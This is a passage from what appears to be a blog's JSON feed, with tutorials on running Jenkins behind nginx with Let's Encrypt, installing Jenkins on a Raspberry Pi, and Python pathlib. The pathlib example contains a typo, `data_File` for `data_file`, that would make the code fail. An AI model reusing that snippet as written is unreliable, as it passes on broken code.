class=\"kn\">proxy_redirect<\/span>     <span class=\"s\">default<\/span><span class=\"p\">;<\/span>\n    <span class=\"kn\">proxy_http_version<\/span> <span class=\"mi\">1<\/span><span class=\"s\">.1<\/span><span class=\"p\">;<\/span>\n\n    <span class=\"kn\">proxy_set_header<\/span>   <span class=\"s\">Connection<\/span>        <span class=\"nv\">$connection_upgrade<\/span><span class=\"p\">;<\/span>\n    <span class=\"kn\">proxy_set_header<\/span>   <span class=\"s\">Upgrade<\/span>           <span class=\"nv\">$http_upgrade<\/span><span class=\"p\">;<\/span>\n  <span class=\"p\">}<\/span>\n<span class=\"p\">}<\/span>\n<\/pre><\/div>\n<p>Now enable the site and restart Nginx<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo ln -s \/etc\/nginx\/sites-available\/jenkins \/etc\/nginx\/sites-enabled\/\nsudo systemctl restart nginx\n<\/pre><\/div>\n<p>If something went wrong, you can check the configuration with<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo nginx -t\n<\/pre><\/div>\n<p>The Jenkins server is now available\n<a class=\"reference external\" href=\"http:\/\/jenkins.example.com\">jenkins.example.com<\/a> Change the Jenkins server\nconfiguration so that the server only listen on the loclahost. Edit the file\n<em>\/etc\/default\/jenkins<\/em><\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo nano \/etc\/default\/jenkins\n<\/pre><\/div>\n<p>Find then <em>JENKINS_ARGS<\/em> and add <em>--httpListenAddress=127.0.0.1<\/em><\/p>\n<div class=\"highlight\"><pre><span><\/span>...\nJENKINS_ARGS=&quot;--webroot=\/var\/cache\/$NAME\/war --httpPort=$HTTP_PORT --httpListenAddress=127.0.0.1&quot;\n<\/pre><\/div>\n<p>and restart Jenkins<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo systemctl restart jenkins\n<\/pre><\/div>\n<div class=\"section\" id=\"ssl-with-let-s-encrypt\">\n<h2>SSL with Let's Encrypt<\/h2>\n<p>This really easy. Simple run this<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo certbot --nginx -d jenkins.example.com\n<\/pre><\/div>\n<p>and you are done. This will also add a cron job that will update the certificate\nif it expires within 30 days.<\/p>\n<\/div>\n","category":[{"@attributes":{"term":"devops"}},{"@attributes":{"term":"jenkins"}},{"@attributes":{"term":"devops"}},{"@attributes":{"term":"server"}},{"@attributes":{"term":"linux"}},{"@attributes":{"term":"nginx"}}]},{"title":"Jenkins meet Raspberry Pi","link":{"@attributes":{"href":"https:\/\/axju.de\/posts\/2021\/02\/jenkins-meet-raspberry-pi\/","rel":"alternate"}},"published":"2021-02-07T20:15:00+01:00","updated":"2021-02-07T20:15:00+01:00","author":{"name":"Axel Juraske"},"id":"tag:axju.de,2021-02-07:\/posts\/2021\/02\/jenkins-meet-raspberry-pi\/","summary":"<p class=\"first last\">Yes, I like DevOps and the Raspberry Pi too. Now it's time to combine\nthese and build a powerful DevOps server.<\/p>\n","content":"<p>First the question <strong>why<\/strong>? And that's a very good question. There are so many\ndifferent tools for CI\/CD. Why should I set up something of my own? Obviously\nbecause it's fun and you learn something new. But I also don't like to work with\na black box. I want full control, change everything.<\/p>\n<p>And <strong>why<\/strong> Jenkins and a Raspberry Pi? I don't want to spend a lot of money\neither, so no cloud. In my opinion, the Raspberry Pi is the best compromise\nbetween long-term availability and electricity costs. And it's just for fun, so\nif it goes down no one will care. Maybe I'm wrong, but I think Jenkins is the\nbest open source automation server with low system resources. Perfect for a\nRaspberry Pi.<\/p>\n<p>I won't go into much detail about each step. When I set up my server, I just\nwrote everything down and now summarize it briefly. I have obtained my\ninformation on:<\/p>\n<blockquote>\n<ul class=\"simple\">\n<li><a class=\"reference external\" href=\"https:\/\/www.jenkins.io\/doc\/book\/installing\/linux\/\">JenkinsDocs<\/a><\/li>\n<li><a class=\"reference external\" href=\"https:\/\/raspberrytips.com\/install-jenkins-raspberry-pi\/\">RaspberryTips<\/a><\/li>\n<li><a class=\"reference external\" href=\"https:\/\/pimylifeup.com\/jenkins-raspberry-pi\/\">PiMyLifeUp<\/a><\/li>\n<li><a class=\"reference external\" href=\"https:\/\/www.raspberrypi.org\/documentation\/configuration\/security.md\">RaspberryPi<\/a><\/li>\n<\/ul>\n<\/blockquote>\n<p>As I was writing this, I realized that my full setup is too much for one post.\nSo this is only the first part and there is more to come. If you find a mistake\nor something is unclear, please write a comment.<\/p>\n<div class=\"section\" id=\"setup-the-raspberry-pi\">\n<h2>Setup the Raspberry Pi<\/h2>\n<p>I'm using a Raspberry Pi with <em>Raspberry Pi OS Lite<\/em>. After writing the\noperating system to the SD card, I create an empty file <em>SSH<\/em> in the root\ndirectory of the SD card. This will enable the SSH server so you can simply log\nin using SSH. No need to connect a keyboard or monitor. Just scan your network\nwith <em>nmap<\/em> and then connect with the default username=pi and password=raspberry.\nYou can also check your router to find the IP of your Raspberry Pi.<\/p>\n<p>I run this<\/p>\n<div class=\"highlight\"><pre><span><\/span>nmap <span class=\"m\">192<\/span>.168.178.* -p <span class=\"m\">22<\/span> --open\n<\/pre><\/div>\n<p>to find the IP. Then I connect with<\/p>\n<div class=\"highlight\"><pre><span><\/span>ssh pi@192.168.178.35\n<\/pre><\/div>\n<p>Now it's time to make your Pi just a little bit secure. We create a new user and\nadd them to the <em>sudo<\/em> group.<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo adduser axju\nsudo usermod -a -G adm,dialout,cdrom,sudo,audio,video,plugdev,games,users,input,netdev,gpio,i2c,spi axju\n<\/pre><\/div>\n<p>Reconnect and delete the default user <em>pi<\/em><\/p>\n<div class=\"highlight\"><pre><span><\/span><span class=\"nb\">exit<\/span>\nssh axju@192.168.178.35\nsudo deluser -remove-home pi\n<\/pre><\/div>\n<p>Maybe you have to kill pi's process<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo pkill -u pi\n<\/pre><\/div>\n<p>Checkout <a class=\"reference external\" href=\"https:\/\/www.raspberrypi.org\/documentation\/configuration\/security.md\">this<\/a>,\nif you want to make your Raspberry Pi even more secure.<\/p>\n<div class=\"section\" id=\"change-hostname-optional\">\n<h3>Change hostname (optional)<\/h3>\n<p>There is no need to change the name, but I like it. You can use the IP address\nto connect to the server, but you can also use the hostname. So this should also\nwork:<\/p>\n<div class=\"highlight\"><pre><span><\/span>ssh axju@raspberrypi.local\n<\/pre><\/div>\n<p>But I will change <em>raspberrypi.local<\/em> to <em>jenkins.local<\/em>. First open the\n<em>\/etc\/hosts<\/em> file and update the lines with your old hostname:<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo nano \/etc\/hosts\n<\/pre><\/div>\n<p>from <tt class=\"docutils literal\">raspberrypi<\/tt> to <tt class=\"docutils literal\">jenkins<\/tt>. Next change the <em>\/etc\/hostname<\/em><\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo <span class=\"nb\">echo<\/span> <span class=\"s2\">&quot;jenkins&quot;<\/span> <span class=\"p\">|<\/span> sudo tee \/etc\/hostname\n<\/pre><\/div>\n<p>And finally run<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo hostname jenkins\n<\/pre><\/div>\n<p>and reboot<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo reboot\n<\/pre><\/div>\n<p>Now you can connect with <tt class=\"docutils literal\">ssh axju&#64;jenkins.local<\/tt><\/p>\n<\/div>\n<\/div>\n<div class=\"section\" id=\"install-jenkins\">\n<h2>Install Jenkins<\/h2>\n<p>This is really easy. First, update your system and install Java<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo apt update\nsudo apt upgrade -y\nsudo apt install -y openjdk-11-jdk\n<\/pre><\/div>\n<p>To make sure it worked, check the version of java<\/p>\n<div class=\"highlight\"><pre><span><\/span>java --version\n<\/pre><\/div>\n<p>Now add Jenkins source to your <em>sources.list<\/em><\/p>\n<div class=\"highlight\"><pre><span><\/span>wget -q -O - https:\/\/pkg.jenkins.io\/debian\/jenkins.io.key <span class=\"p\">|<\/span> sudo apt-key add -\nsudo sh -c <span class=\"s1\">&#39;echo deb https:\/\/pkg.jenkins.io\/debian-stable binary\/ &gt; \/etc\/apt\/sources.list.d\/jenkins.list&#39;<\/span>\n<\/pre><\/div>\n<p>No errors until now, then install Jenkins<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo apt update\nsudo apt install -y jenkins\n<\/pre><\/div>\n<p>Make sure that Jenkins is running<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo systemctl status jenkins\n<\/pre><\/div>\n<p>That was all. After the installing the post-installation setup wizard begins.\nFist unlock Jenkins. If you visited\n<a class=\"reference external\" href=\"http:\/\/jenkins.local:8080\">http:\/\/jenkins.local:8080<\/a>\nthe first time, you have to enter a secret key. You will get it with<\/p>\n<div class=\"highlight\"><pre><span><\/span>sudo cat \/var\/lib\/jenkins\/secrets\/initialAdminPassword\n<\/pre><\/div>\n<p>Now you can install some plugins. I uses the options <em>Install suggested plugins<\/em>\nand create a admin account. If you get stuck are interested in more information,\ncheck the <a class=\"reference external\" href=\"https:\/\/www.jenkins.io\/doc\/book\/getting-started\/\">documentation<\/a>.<\/p>\n<img alt=\"alternate text\" src=\"https:\/\/axju.de\/images\/articels\/jenkins\/jenkins-001.png\" style=\"width: 57%;\" \/>\n<img alt=\"alternate text\" src=\"https:\/\/axju.de\/images\/articels\/jenkins\/jenkins-002.png\" style=\"width: 42%;\" \/>\n<\/div>\n<div class=\"section\" id=\"conclusion\">\n<h2>Conclusion<\/h2>\n<p>You see, install Jenkins is not that complicated. But for now, this is only a\nreally simple setup. So what coming next? There is a lot of stuff to do. Fist\nyou can improve the power of your server with some agents. The Raspberry Pi\ndoesn't use a lot of electricity, but it doesn't have a lot of power either.\nOn my final server, all operations were performed on the agents. This way the Pi\nwon't sweat. I'm also running Jenkins behind a reverse proxy and enabled ssl.<\/p>\n<p>Another big point is the different jobs for Jenkins. There are a lot of\npipelines doing cool things. This blog is also deliver with Jenkins. I hope you\nfind it all as exciting as I do. There will definitely be more to come.<\/p>\n<\/div>\n","category":[{"@attributes":{"term":"devops"}},{"@attributes":{"term":"jenkins"}},{"@attributes":{"term":"raspberry pi"}},{"@attributes":{"term":"devops"}},{"@attributes":{"term":"server"}},{"@attributes":{"term":"linux"}}]},{"title":"Python Pathlib","link":{"@attributes":{"href":"https:\/\/axju.de\/posts\/2021\/01\/python-pathlib\/","rel":"alternate"}},"published":"2021-01-29T20:15:00+01:00","updated":"2021-01-29T20:15:00+01:00","author":{"name":"Axel Juraske"},"id":"tag:axju.de,2021-01-29:\/posts\/2021\/01\/python-pathlib\/","summary":"<p class=\"first last\">I know the Pathlib is nothing new, but I only discovered in the new django default settings.<\/p>\n","content":"<p>For a long time I ignore pathlib, but then came new django release with this in\nthe default settings.<\/p>\n<div class=\"highlight\"><pre><span><\/span><span class=\"kn\">from<\/span> <span class=\"nn\">pathlib<\/span> <span class=\"kn\">import<\/span> <span class=\"n\">Path<\/span>\n\n<span class=\"c1\"># Build paths inside the project like this: BASE_DIR \/ &#39;subdir&#39;.<\/span>\n<span class=\"n\">BASE_DIR<\/span> <span class=\"o\">=<\/span> <span class=\"n\">Path<\/span><span class=\"p\">(<\/span><span class=\"vm\">__file__<\/span><span class=\"p\">)<\/span><span class=\"o\">.<\/span><span class=\"n\">resolve<\/span><span class=\"p\">()<\/span><span class=\"o\">.<\/span><span class=\"n\">parent<\/span><span class=\"o\">.<\/span><span class=\"n\">parent<\/span>\n<\/pre><\/div>\n<p>I researched and found these links very helpful:<\/p>\n<blockquote>\n<ul class=\"simple\">\n<li><a class=\"reference external\" href=\"https:\/\/realpython.com\/python-pathlib\/\">Real Python<\/a><\/li>\n<li><a class=\"reference external\" href=\"https:\/\/pbpython.com\/pathlib-intro.html\">Practical Business Python<\/a><\/li>\n<li><a class=\"reference external\" href=\"https:\/\/docs.python.org\/3\/library\/pathlib.html\">Python Docs<\/a><\/li>\n<\/ul>\n<\/blockquote>\n<p>For more information check this out. I don't want to explain it in detail, just\ngive an example.<\/p>\n<div class=\"section\" id=\"everything-is-an-object\">\n<h2>Everything is an object<\/h2>\n<p>The old days I uses the os.path module to work with paths. To check if a file\nexist I run this:<\/p>\n<div class=\"highlight\"><pre><span><\/span><span class=\"o\">&gt;&gt;&gt;<\/span> <span class=\"kn\">import<\/span> <span class=\"nn\">os<\/span>\n<span class=\"o\">&gt;&gt;&gt;<\/span> <span class=\"n\">path<\/span> <span class=\"o\">=<\/span> <span class=\"s1\">&#39;pyth\/to\/my\/file&#39;<\/span>\n<span class=\"o\">&gt;&gt;&gt;<\/span> <span class=\"n\">os<\/span><span class=\"o\">.<\/span><span class=\"n\">path<\/span><span class=\"o\">.<\/span><span class=\"n\">isfile<\/span><span class=\"p\">(<\/span><span class=\"n\">path<\/span><span class=\"p\">)<\/span>\n<span class=\"kc\">False<\/span>\n<\/pre><\/div>\n<p>There the path is a string. With the <em>new<\/em> pathlib module, you can creates a\npath object with some nice functions.<\/p>\n<div class=\"highlight\"><pre><span><\/span><span class=\"o\">&gt;&gt;&gt;<\/span> <span class=\"kn\">import<\/span> <span class=\"nn\">pathlib<\/span>\n<span class=\"o\">&gt;&gt;&gt;<\/span> <span class=\"n\">path<\/span> <span class=\"o\">=<\/span> <span class=\"n\">pathlib<\/span><span class=\"o\">.<\/span><span class=\"n\">Path<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;path\/to\/my\/file&#39;<\/span><span class=\"p\">)<\/span>\n<span class=\"o\">&gt;&gt;&gt;<\/span> <span class=\"n\">path<\/span><span class=\"o\">.<\/span><span class=\"n\">exists<\/span><span class=\"p\">()<\/span>\n<span class=\"kc\">False<\/span>\n<\/pre><\/div>\n<p>The path object has more than just the function <em>exist()<\/em>. You can do everything\nsimilar to the os.path module and more.<\/p>\n<\/div>\n<div class=\"section\" id=\"example\">\n<h2>Example<\/h2>\n<p>This create the folder <em>.axju<\/em> in your home folder and the file <em>data.txt<\/em> with\nthe content <em>hello<\/em>.<\/p>\n<p>With <strong>pathlib<\/strong>:<\/p>\n<div class=\"highlight\"><pre><span><\/span><span class=\"kn\">from<\/span> <span class=\"nn\">pathlib<\/span> <span class=\"kn\">import<\/span> <span class=\"n\">Path<\/span>\n\n<span class=\"n\">data_file<\/span> <span class=\"o\">=<\/span> <span class=\"n\">Path<\/span><span class=\"o\">.<\/span><span class=\"n\">home<\/span><span class=\"p\">()<\/span> <span class=\"o\">\/<\/span> <span class=\"s1\">&#39;.axju&#39;<\/span> <span class=\"o\">\/<\/span> <span class=\"s1\">&#39;data.txt&#39;<\/span>\n<span class=\"n\">data_file<\/span><span class=\"o\">.<\/span><span class=\"n\">parent<\/span><span class=\"o\">.<\/span><span class=\"n\">mkdir<\/span><span class=\"p\">(<\/span><span class=\"n\">parents<\/span><span class=\"o\">=<\/span><span class=\"kc\">True<\/span><span class=\"p\">,<\/span> <span class=\"n\">exist_ok<\/span><span class=\"o\">=<\/span><span class=\"kc\">True<\/span><span class=\"p\">)<\/span>\n\n<span class=\"k\">with<\/span> <span class=\"n\">data_File<\/span><span class=\"o\">.<\/span><span class=\"n\">open<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;w&#39;<\/span><span class=\"p\">)<\/span> <span class=\"k\">as<\/span> <span class=\"n\">file<\/span><span class=\"p\">:<\/span>\n    <span class=\"n\">file<\/span><span class=\"o\">.<\/span><span class=\"n\">write<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;hello&#39;<\/span><span class=\"p\">)<\/span>\n<\/pre><\/div>\n<p>With <strong>os.path<\/strong>:<\/p>\n<div class=\"highlight\"><pre><span><\/span><span class=\"kn\">import<\/span> <span class=\"nn\">os<\/span>\n\n<span class=\"n\">home<\/span> <span class=\"o\">=<\/span> <span class=\"n\">os<\/span><span class=\"o\">.<\/span><span class=\"n\">path<\/span><span class=\"o\">.<\/span><span class=\"n\">expanduser<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;~&#39;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">home_axju_dir<\/span> <span class=\"o\">=<\/span> <span class=\"n\">os<\/span><span class=\"o\">.<\/span><span class=\"n\">path<\/span><span class=\"o\">.<\/span><span class=\"n\">join<\/span><span class=\"p\">(<\/span><span class=\"n\">home<\/span><span class=\"p\">,<\/span> <span class=\"s1\">&#39;.axju&#39;<\/span><span class=\"p\">)<\/span>\n<span class=\"k\">if<\/span> <span class=\"ow\">not<\/span> <span class=\"n\">os<\/span><span class=\"o\">.<\/span><span class=\"n\">path<\/span><span class=\"o\">.<\/span><span class=\"n\">exists<\/span><span class=\"p\">(<\/span><span class=\"n\">home_axju_dir<\/span><span class=\"p\">):<\/span>\n    <span class=\"n\">os<\/span><span class=\"o\">.<\/span><span class=\"n\">makedirs<\/span><span class=\"p\">(<\/span><span class=\"n\">home_axju_dir<\/span><span class=\"p\">)<\/span>\n\n<span class=\"k\">with<\/span> <span class=\"nb\">open<\/span><span class=\"p\">(<\/span><span class=\"n\">os<\/span><span class=\"o\">.<\/span><span class=\"n\">path<\/span><span class=\"o\">.<\/span><span class=\"n\">join<\/span><span class=\"p\">(<\/span><span class=\"n\">home_axju_dir<\/span><span class=\"p\">,<\/span> <span class=\"s1\">&#39;data.txt&#39;<\/span><span class=\"p\">),<\/span> <span class=\"s1\">&#39;w&#39;<\/span><span class=\"p\">)<\/span> <span class=\"k\">as<\/span> <span class=\"n\">file<\/span><span class=\"p\">:<\/span>\n    <span class=\"n\">file<\/span><span class=\"o\">.<\/span><span class=\"n\">write<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;hello&#39;<\/span><span class=\"p\">)<\/span>\n<\/pre><\/div>\n<\/div>\n","category":[{"@attributes":{"term":"python"}},{"@attributes":{"term":"python"}}]},{"title":"Hello World","link":{"@attributes":{"href":"https:\/\/axju.de\/posts\/2021\/01\/hello-world\/","rel":"alternate"}},"published":"2021-01-18T20:21:00+01:00","updated":"2021-01-18T20:21:00+01:00","author":{"name":"axju"},"id":"tag:axju.de,2021-01-18:\/posts\/2021\/01\/hello-world\/","summary":"<p class=\"first last\">Just a new blog where I share my coding experience. Have fun.<\/p>\n","content":"<p>Just a new blog where I share my coding experience. Have fun.<\/p>\n<p>I built it with Pelican and the them\n<a class=\"reference external\" href=\"https:\/\/github.com\/nairobilug\/pelican-alchemy\">alchemy<\/a>.\nCheck this out, if you like nice clean bootstrap design.<\/p>\n<p>The source will be available on <a class=\"reference external\" href=\"https:\/\/github.com\/axju\/blogging\">github<\/a>.<\/p>\n","category":[{"@attributes":{"term":"misc"}},{"@attributes":{"term":"hello"}},{"@attributes":{"term":"world"}}]}]}